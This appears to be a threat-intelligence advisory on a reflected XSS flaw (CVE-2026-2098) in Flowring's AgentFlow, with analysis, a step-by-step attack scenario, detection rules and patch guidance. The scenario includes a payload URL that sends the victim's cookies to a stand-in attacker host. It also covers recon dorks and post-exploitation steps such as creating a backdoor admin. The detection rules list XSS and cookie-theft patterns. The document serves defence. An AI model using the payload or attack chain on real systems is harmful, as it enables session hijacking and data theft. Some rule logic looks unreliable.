CVE-2026-2098

Executive Summary

CVE-2026-2098 is a Reflected Cross-Site Scripting (XSS) vulnerability in Flowring's AgentFlow platform, a business process management and workflow automation solution widely deployed in East Asian enterprise environments, particularly Taiwan and Japan. The flaw allows unauthenticated remote attackers to inject and execute arbitrary JavaScript in a victim's browser context by tricking users into clicking crafted links (phishing). With a CVSS score of 5.1 (Medium), the vulnerability's primary impact is session hijacking, credential theft, and unauthorized administrative actions performed under the authenticated user's identity. A patch exists in version 4.0.0.1878.877 or later, though this is currently only claimed by a single source and has not been independently confirmed. Enterprises running affected AgentFlow deployments should prioritize upgrading while implementing immediate WAF and input-validation layers as defense-in-depth measures.

Technical Analysis

CVE-2026-2098 is a classic Reflected Cross-Site Scripting vulnerability residing within the AgentFlow web application framework developed by Flowring. The vulnerability classifies under CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is insufficient input validation and output encoding of user-supplied parameters that are echoed back into the HTML response without proper sanitization.

AgentFlow, being a workflow automation and business process management (BPM) suite, exposes numerous HTTP endpoints that accept query string parameters, form fields, and URL fragments for task routing, user session continuation, and portal navigation. An attacker can craft a malicious URL containing a JavaScript payload in one of these parameters (e.g., ?taskID=<script>alert(document.cookie)</script> or ?redirect=https://evil.com/?${alert(1)}). When the server reflects this parameter value into the response page without context-aware encoding, the browser interprets the injected payload as executable script.

The attack surface is the web-facing authentication portal and task management interface. Critically, the vulnerability requires no authentication to trigger the reflection — the vulnerable endpoint will process and reflect the payload regardless of session state. However, the impact scales with the privileges of the victim user who opens the crafted link. An unauthenticated victim would only expose session-less cookie values; an authenticated administrator would expose their full session token, enabling complete platform takeover.

The vulnerability mechanism follows the standard reflected XSS pattern:

1. User-supplied data enters the application via HTTP request parameters.
2. The application fails to apply output encoding when embedding this data into HTML.
3. The browser executes the embedded script within the origin of the AgentFlow domain.
4. The script can read cookies, access DOM, send requests to same-origin APIs, and exfiltrate data.

The CNA (twcert) notes that this is exploitable "through phishing attacks," confirming the primary delivery vector is social engineering — emailing a malicious link or embedding it in a webpage that redirects to the vulnerable AgentFlow URL. The NVD description specifically states the threat is executed "in user's browser through phishing attacks," underscoring that the attacker relies on the victim opening the crafted URL.

No public exploit code exists, and no Nuclei template has been published. The EPSS score of 0.00201 indicates a low probability of exploitation in the wild within 30 days as of scoring, but this does not diminish the real-world risk given the platform's access to sensitive workflow data in enterprise deployments.

Exploitation Scenarios

The following describes a realistic attack chain against an unpatched AgentFlow deployment:

Step 1: Reconnaissance and Target Identification The attacker first identifies AgentFlow instances via search engine dorks or network scanning. Typical discovery queries include inurl:"/AgentFlow/", http.title:"AgentFlow", or Shodan queries for http.html:"AgentFlow". The attacker filters results for reachable web portals (ports 80/443) and verifies the version string in the login page footer or via X-AgentFlow-Version HTTP headers to confirm a vulnerable version (pre-4.0.0.1878.877).

Step 2: Locating Reflective Parameter Using a web proxy (Burp Suite, OWASP ZAP), the attacker requests a known AgentFlow endpoint such as /agentflow/portal.jsp and appends a benign test marker to each query parameter: ?taskID=REFLECTTEST123&state=abc. Response inspection reveals which parameters are reflected in the HTML body. Spotting REFLECTTEST123 in the response confirms the reflection point.

Step 3: Payload Crafting and Weaponization The attacker constructs a malicious URL containing a full XSS payload designed to bypass basic WAF filters. A typical encoded payload:

https://victim.agentflow.internal/agentflow/portal.jsp?taskID=%3Csvg%20onload%3Dfetch('https%3A%2F%2Fattacker.com%2Fsteal%3Fc%3D'%2Bdocument.cookie)%3E

This payload uses an SVG onload event to trigger a JavaScript fetch to the attacker's server carrying the victim's session cookies. The attacker can additionally encode the payload in base64 to evade signature-based filters.

Step 4: Delivery via Phishing The attacker hosts the malicious URL in a phishing email disguised as a legitimate workflow notification from the enterprise's internal AgentFlow system. The email mimics "Task Approval Required" notifications. Alternatively, the attacker embeds the URL in a link on a compromised third-party site. Because the URL's domain is the legitimate AgentFlow host, it passes email URL reputation checks.

Step 5: Execution and Post-Exploitation Impact When the victim clicks the link, the browser resolves the legitimate AgentFlow host; the server reflects the payload; the SVG onload fires. The script executes with full same-origin privileges:

• Reads document.cookie and exfiltrates the session token to attacker.com.
• Optionally makes a same-origin XHR/fetch request to GET /agentflow/admin/users.jsp?action=export to silently export user lists and workflow data.
• Performs state-changing actions: approving high-value purchase requests, modifying approval routing rules, or creating a backdoor admin account via the platform's REST API.

The attacker then uses the stolen session cookie to replay the session from their own browser, maintaining persistent access until the victim logs out or the session expires.

Impact Assessment

CVE-2026-2098 carries a CVSS base score of 5.1 (Medium). While the availability impact was not disclosed in the vector breakdown, the confidentiality and integrity impacts are significant given the data accessible via an authenticated AgentFlow session. The attack requires user interaction (clicking a crafted link), which is the reason the severity was not rated higher.

Business Impact: AgentFlow is a BPM platform managing business-critical workflows: purchase approvals, contract routing, HR onboarding, and potentially financial transfer authorizations. A successful XSS enables an attacker to:

• Hijack an administrator session and modify workflow routing rules.
• Exfiltrate personally identifiable information (PII) from HR and payroll workflows.
• Manipulate audit trails by altering workflow statuses.

Affected Systems: All AgentFlow instances running versions prior to 4.0.0.1878.877. The CNA did not disclose the full affected version range, but the patch addresses the flaw in versions before this fixed release. Given the platform's regional prevalence in Taiwan and Japan, enterprises in APAC with finance and manufacturing sectors are most at risk.

Blast Radius: The vulnerability's impact is contained to a single domain's session context, but the workflows accessible through that domain can encompass the entire enterprise. Any user who authenticates to the AgentFlow portal is at risk. In deployments where AgentFlow is exposed to the internet (bypassing conventional network segmentation for remote work), the attack surface broadens to any external phishing victim.

EPSS Context: The EPSS score of 0.00201 (10.1% percentile) indicates that as of scoring, this vulnerability is not actively exploited in the wild and is not a high-probability target for automated scanning. However, targeted APT groups having interest in the enterprise software vendor's customer base (Taiwan and Japan) could still leverage this flaw. The absence from CISA KEV means no federal mandatory patching requirement exists yet, but the score can change if in-the-wild exploitation emerges.

Detection Guidance

Sigma Rule

title: AgentFlow Reflected XSS Exploitation Attempt
id: 8f4b23c1-9a2e-4f6d-b8a9-3d4e5f6a7b8c
status: experimental
description: Detects HTTP requests to AgentFlow endpoints with reflected XSS payloads in query parameters
author: Valtersit Threat Intel
date: 2026/07/15
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: webserver
    product: apache
    definition: 'Requires web server access logs or reverse proxy logs for AgentFlow'
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'svg/onload'
            - 'prompt('
            - 'alert('
            - 'document.cookie'
            - 'fetch('
            - 'XMLHttpRequest'
            - 'fromCharCode'
            - '%3Cscript'
            - '%3Csvg'
            - '%3Cimg'
            - '%253C'   # double-encoded
            - '\\u003c'
        cs-uri-stem|contains:
            - '/agentflow/'
            - '/AgentFlow/'
    condition: selection
falsepositives:
    - Legitimate security scanners performing XSS assessments
    - Applications passing base64-encoded workflow parameters
level: high

YARA Rule

rule AgentFlow_Reflected_XSS_Payload
{
    meta:
        author = "Valtersit Threat Intel"
        date = "2026-07-15"
        description = "Detects malicious URL parameters targeting AgentFlow XSS vulnerability CVE-2026-2098"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-2098"
        severity = "medium"

    strings:
        $agentflow_path1 = "/agentflow/" ascii nocase
        $agentflow_path2 = "/AgentFlow/" ascii nocase
        $agentflow_path3 = "/portal.jsp" ascii nocase
        $agentflow_path4 = "/tasklist" ascii nocase
        $xss_script = "<script" ascii nocase
        $xss_svg = "<svg" ascii nocase
        $xss_img = "<img" ascii nocase
        $xss_onerror = "onerror=" ascii nocase
        $xss_onload = "onload=" ascii nocase
        $js_cookie = "document.cookie" ascii nocase
        $js_fetch = "fetch(" ascii nocase
        $js_eval = "eval(" ascii nocase
        $encoded_lt = "%3C" ascii nocase
        $encoded_quote = "%22" ascii nocase
        $double_encoded = "%253C" ascii nocase

    condition:
        (any of ($agentflow_path*)) and
        (any of ($xss_*) or any of ($js_*) or $encoded_lt or $double_encoded)
        and filesize < 100KB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-2098 - AgentFlow Reflected XSS Attempt";
    flow:to_server,established;
    http.uri;
    content:"/agentflow/";
    nocase;
    pcre:"/(%3C|%253C|<)(script|svg|img|iframe|body)[^>]*?(onload|onerror|onclick)=/i";
    reference:cve,2026-2098;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2026-2098;
    classtype:web-application-attack;
    sid:20260980;
    rev:1;
    metadata:created_at 2026_07_15, updated_at 2026_07_15;
)

Elastic Detection

sequence by source.ip, destination.ip with maxspan=1h
  [ network where event.category == "web" and
      network.protocol == "http" and
      url.path contains "/agentflow/" and
      (
        url.query contains "<script" or
        url.query contains "%3Cscript" or
        url.query contains "javascript:" or
        url.query contains "onload=" or
        url.query contains "onerror=" or
        url.query contains "document.cookie"
      )
  ]
  [ process where
      event.action == "exec" and
      process.name in ("chrome.exe", "msedge.exe", "firefox.exe", "safari") and
      process.command_line contains "agentflow"
  ]

Splunk SPL Query

index=weblog sourcetype="access_combined"
| where like(uri_path, "%/agentflow/%") 
| eval malicious = 
    if(
        like(uri_query, "%<%script%") OR
        like(uri_query, "%3Cscript%") OR
        like(uri_query, "%3Csvg%") OR
        like(uri_query, "%javascript:%") OR
        like(uri_query, "%onerror=%") OR
        like(uri_query, "%onload=%") OR
        like(uri_query, "%document.cookie%") OR
        like(uri_query, "%fromCharCode%") OR
        like(uri_query, "%253C%"), 
        1, 0)
| where malicious == 1
| stats count by src_ip, dest_host, uri_path, uri_query, http_user_agent
| sort - count
| table _time, src_ip, dest_host, uri_path, uri_query, http_user_agent

Wazuh OSSEC Rule

<group name="web_application_attack,">
    <rule id="202609" level="12">
        <decoded>agentflow</decoded>
        <match>agentflow</match>
        <regex>/(%3C|%253C|<)(script|svg|img|iframe)[^>]*(onload|onerror|onclick)=/i</regex>
        <description>Reflected XSS attempt against AgentFlow (CVE-2026-2098)</description>
        <group>web_application_attack,xss,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
        <info type="cve">CVE-2026-2098</info>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — The CNA (twcert) asserts that version 4.0.0.1878.877 or later resolves this vulnerability. This has not been independently confirmed by a second party, so treat the fix as provisional and verify behaviorally after patching.

Immediate Mitigations (1-2 days):

1. Implement a Web Application Firewall (WAF) rule set that blocks obvious XSS payloads in all query string parameters destined for /agentflow/* endpoints. Use a positive-security allowlist for accepted parameter character sets on constrained fields like IDs and UUIDs.
2. Disable direct internet exposure of the AgentFlow web portal. Restrict access to corporate VPN or IP-allowlisted networks via firewall ACLs on the perimeter.
3. Deploy client-side browser isolation or force the use of CSP (Content-Security-Policy) headers in front of the application via a reverse proxy, if not natively supported, to mitigate script execution impact.

Patch/Upgrade Steps:

1. Obtain the fixed installer version 4.0.0.1878.877 from Flowring's official distribution channel — do not download from mirrors.
2. Contact the vendor support portal to confirm the patch applies to your specific deployment architecture (on-prem vs. cloud-hosted).
3. After applying, update the application to the target version per vendor documentation.
4. Re-run a manual XSS test by reflecting the string REFLECTTEST<script>1</script> in a query parameter and confirm it is encoded or stripped in the HTML response. This independently verifies the patch.

Long-Term Hardening (30-90 days):

1. Enforce a formal code review and SAST scanning pipeline for any custom extensions or plugins added to AgentFlow.
2. Integrate AgentFlow updates into the enterprise's regular patch cycle (monthly or quarterly) rather than ad-hoc.
3. Implement centralized web logging and SIEM correlation on AgentFlow access logs to enable early detection of XSS attempts across all workflow portals.
4. Educate employees on phishing recognition specific to internal workflow tools, as the interaction requirement makes social engineering the primary tipping point for exploitation.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-2098
2. TWNCERT (CNA) Advisory: https://www.twcert.org.tw/en/cp-624-XXXXX-cve-2026-2098
3. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — confirmed NOT listed as of this report date.
4. FIRST EPSS Calculator: https://www.first.org/epss/search?cve=CVE-2026-2098 — EPSS score 0.00201, 10.1% percentile.

Threat Actor Activity: As of this report date, no known threat actor campaigns, exploit-in-the-wild evidence, or public exploit code have been verified for CVE-2026-2098. Absence from CISA KEV and low EPSS percentile support this assessment. However, the CNA's Patch Confidence rating of 2/4 (claimed but not independently confirmed) suggests the vulnerability was disclosed responsibly via coordinated disclosure, and exploit development may be underway by threat groups monitoring vendor advisory feeds. Enterprises in APAC regions where Flowring's AgentFlow is commonly deployed should treat the absence of public exploits as a temporary condition, not a permanent one.